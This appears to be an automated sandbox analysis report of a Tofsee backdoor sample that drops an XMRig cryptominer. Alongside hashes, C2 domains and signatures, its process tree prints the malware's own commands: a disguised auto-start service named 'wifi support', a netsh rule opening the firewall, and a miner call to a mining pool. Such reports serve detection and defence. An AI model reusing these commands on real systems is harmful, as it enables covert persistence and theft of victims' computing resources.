Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 00:15

General

  • Target

    file.exe

  • Size

    227KB

  • MD5

    faf898c01373275e3bb189552deba2b8

  • SHA1

    9d2613efe4dc0a32a7e8e4ff465451d323dc6282

  • SHA256

    4e751c673dd0475d5936d7b7dbc1f1fdd0954d5ff791f939a2c05b7ff7650142

  • SHA512

    7e63b965962fc55c441aaa6852e804cf34a76a5d18c36eaf64d34c61700c31f9a2be02046becafb573144cb269fe5c75ead9ff95537b4fd1babf574b0990eea8

  • SSDEEP

    3072:IYT3+Lfq5bb39U2ocK8xRK4moWBICsjLpt6R1hN8+T+V+Y700:ELf22JcKzcH6FK+T+Vl7l

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\acjaqero\
      2⤵
        PID:2584
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\czturzpw.exe" C:\Windows\SysWOW64\acjaqero\
        2⤵
          PID:4072
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create acjaqero binPath= "C:\Windows\SysWOW64\acjaqero\czturzpw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4432
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description acjaqero "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start acjaqero
          2⤵
          • Launches sc.exe
          PID:3332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 1036
          2⤵
          • Program crash
          PID:320
      • C:\Windows\SysWOW64\acjaqero\czturzpw.exe
        C:\Windows\SysWOW64\acjaqero\czturzpw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 212
          2⤵
          • Program crash
          PID:4620
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2240 -ip 2240
        1⤵
          PID:700
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1368 -ip 1368
          1⤵
            PID:3820

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\czturzpw.exe

            Filesize

            13.3MB

            MD5

            0d41c7b4466fdc4c61374c687991f3ec

            SHA1

            7f0fd5ed897dbaa652aa25fececd65fb32b72019

            SHA256

            8ddcea5af1ad24edec2f8835dda32e821e1fdf7126311a0474f24b243a913014

            SHA512

            ad2246188d3043b618c99a395067288e5073b4a8d98ae2ff6579d95513c1cd7b680ce75c39e1494bf37956d90f2d3a539c10ba8245979a18c9cdfec1227c788a

          • C:\Windows\SysWOW64\acjaqero\czturzpw.exe

            Filesize

            13.3MB

            MD5

            0d41c7b4466fdc4c61374c687991f3ec

            SHA1

            7f0fd5ed897dbaa652aa25fececd65fb32b72019

            SHA256

            8ddcea5af1ad24edec2f8835dda32e821e1fdf7126311a0474f24b243a913014

            SHA512

            ad2246188d3043b618c99a395067288e5073b4a8d98ae2ff6579d95513c1cd7b680ce75c39e1494bf37956d90f2d3a539c10ba8245979a18c9cdfec1227c788a

          • memory/1368-149-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/1368-148-0x0000000000789000-0x0000000000799000-memory.dmp

            Filesize

            64KB

          • memory/2240-133-0x00000000021A0000-0x00000000021B3000-memory.dmp

            Filesize

            76KB

          • memory/2240-134-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/2240-143-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/2240-132-0x000000000061D000-0x000000000062D000-memory.dmp

            Filesize

            64KB

          • memory/2552-176-0x00000000006E0000-0x00000000007D1000-memory.dmp

            Filesize

            964KB

          • memory/2552-171-0x00000000006E0000-0x00000000007D1000-memory.dmp

            Filesize

            964KB

          • memory/4404-152-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4404-151-0x0000000000260000-0x0000000000275000-memory.dmp

            Filesize

            84KB

          • memory/4404-150-0x0000000000260000-0x0000000000275000-memory.dmp

            Filesize

            84KB

          • memory/4404-155-0x00000000017D0000-0x00000000017D6000-memory.dmp

            Filesize

            24KB

          • memory/4404-158-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/4404-161-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/4404-164-0x0000000007000000-0x000000000740B000-memory.dmp

            Filesize

            4.0MB

          • memory/4404-167-0x00000000025D0000-0x00000000025D7000-memory.dmp

            Filesize

            28KB

          • memory/4404-145-0x0000000000260000-0x0000000000275000-memory.dmp

            Filesize

            84KB